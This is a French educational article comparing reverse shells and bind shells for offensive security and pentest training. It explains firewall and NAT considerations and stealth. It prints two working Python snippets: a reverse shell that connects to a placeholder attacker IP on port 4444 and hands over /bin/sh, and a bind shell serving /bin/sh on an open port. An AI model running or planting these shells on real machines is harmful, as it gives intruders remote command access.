Comprendre la différence entre reverse shell et bind shell est indispensable en cybersécurité offensive. Ces deux mécanismes permettent d’obtenir un accès distant sur une machine compromise, mais reposent sur des logiques réseau opposées.
Cet article détaille leurs caractéristiques, leurs cas d’usage et illustre leur fonctionnement avec du code Python simple.
Reverse shell vs bind shell : définition générale
Reverse shell

Un reverse shell est une connexion sortante initiée par la machine compromise vers l’attaquant. La machine victime ouvre elle-même un canal de communication et envoie un shell à l’extérieur.
Bind shell

Un bind shell ouvre un port sur la machine cible et attend qu’un attaquant se connecte. Le shell est lié à un port local prêt à recevoir une connexion entrante.
Pourquoi ces deux techniques existent
Les environnements réseau ne sont jamais uniformes. Pare-feu, règles NAT, filtrages et segmentation influencent la faisabilité de chaque approche. Reverse shell et bind shell répondent à ces contraintes en utilisant des directions de flux différentes.
Reverse shell : fonctionnement détaillé
Logique réseau
Un reverse shell repose sur une connexion sortante initiée par la machine ciblée. Au lieu que l’attaquant tente d’atteindre directement un port sur la victime, c’est la machine compromise qui prend l’initiative d’appeler l’attaquant.
Cette approche exploite le fait que les connexions sortantes sont souvent moins filtrées que les connexions entrantes.
L’attaquant met en place un listener sur son poste, attend la connexion sortante et récupère un shell interactif une fois le lien établi. Ce mécanisme permet de contourner de nombreux dispositifs de sécurité, notamment les pare-feu restrictifs ou les réseaux NAT où les connexions entrantes sont bloquées.
Avantages
Le reverse shell est particulièrement efficace dans les environnements fortement sécurisés. Les pare-feu filtrent fréquemment les connexions entrantes mais autorisent la plupart du trafic sortant, ce qui rend la technique très fiable. La configuration côté attaquant est minimale, souvent limitée à l’ouverture d’un port d’écoute.
Cette approche apporte aussi une dimension furtive, car le flux réseau ressemble à un trafic sortant légitime. Dans les environnements surveillés, cette discrétion permet d’échapper plus facilement à certains systèmes de détection basés sur les connexions entrantes suspectes.
Limites
L’efficacité du reverse shell dépend entièrement des règles de sortie mises en place par l’administrateur réseau. Si les connexions sortantes sont très contrôlées ou restreintes, la technique peut échouer. La machine compromise doit pouvoir atteindre l’adresse IP et le port sur lesquels l’attaquant écoute.
Si le poste de l’attaquant se trouve derrière un NAT ou un pare-feu strict, un port-forwarding ou une configuration réseau spécifique peut être nécessaire. Enfin, certaines solutions de monitoring inspectent activement les flux sortants inhabituels, ce qui peut exposer la tentative de connexion.
Exemple simple en Python
import socket
import subprocess
import os
s = socket.socket()
s.connect(("ATTAQUANT_IP", 4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh"])
Bind shell : fonctionnement détaillé

Logique réseau
La machine compromise ouvre un port local et attend qu’un attaquant se connecte à ce port. L’attaquant agit comme un client classique.
Avantages
Indépendant de l’adresse IP de l’attaquant et utile si celui-ci se trouve derrière un NAT strict ou ne peut pas écouter un port.
Limites
Le port exposé peut être détecté rapidement, bloqué par un pare-feu ou repéré par un IDS. La connexion entrante peut être filtrée par les règles réseau internes.
Exemple simple en Python
import socket
import subprocess
import os
s = socket.socket()
s.bind(("0.0.0.0", 4444))
s.listen(1)
conn, addr = s.accept()
os.dup2(conn.fileno(),0)
os.dup2(conn.fileno(),1)
os.dup2(conn.fileno(),2)
subprocess.call(["/bin/sh"])
Reverse shell vs bind shell : comparaison directe
Direction de la connexion
Le reverse shell sort de la machine cible vers l’attaquant. Le bind shell attend que l’attaquant entre par un port ouvert. Cette différence influence fortement la détection et la réussite de l’exploitation.
Conditions réseau favorables
Le reverse shell s’impose dans la majorité des environnements grâce à la permissivité des connexions sortantes.
Le bind shell fonctionne mieux lorsque l’attaquant ne peut pas recevoir de connexions entrantes ou lorsque les règles entrantes sur la victime sont ouvertes.
Implications en pentest
Le reverse shell est la solution par défaut. Le bind shell reste utile dans des environnements dépourvus de filtrage ou lorsque des mécanismes de sécurité empêchent les connexions sortantes. Lors d’un test d’intrusion, l’évaluation du filtrage réseau permet de déterminer l’approche optimale.
Reverse shell vs bind shell en Python : intérêt pédagogique
Python permet de créer rapidement des exemples de reverse shell et de bind shell, ce qui en fait un outil d’apprentissage idéal. L’étude de ces scripts aide à comprendre la manipulation des sockets, la redirection des flux standard et le fonctionnement réseau d’un shell distant.
C’est exactement le genre de compétence nécessaire pour le passage des certifications de cybersécurité.
Conclusion
La distinction reverse shell vs bind shell repose sur la direction du flux réseau et les contraintes d’environnement. Le reverse shell reste l’option la plus robuste face aux pare-feu modernes, tandis que le bind shell conserve un intérêt tactique dans certains cas précis.
Comprendre les deux approches et savoir les implémenter en Python offre une base solide pour analyser, reproduire ou contrer des mécanismes d’accès distant dans un contexte de cybersécurité.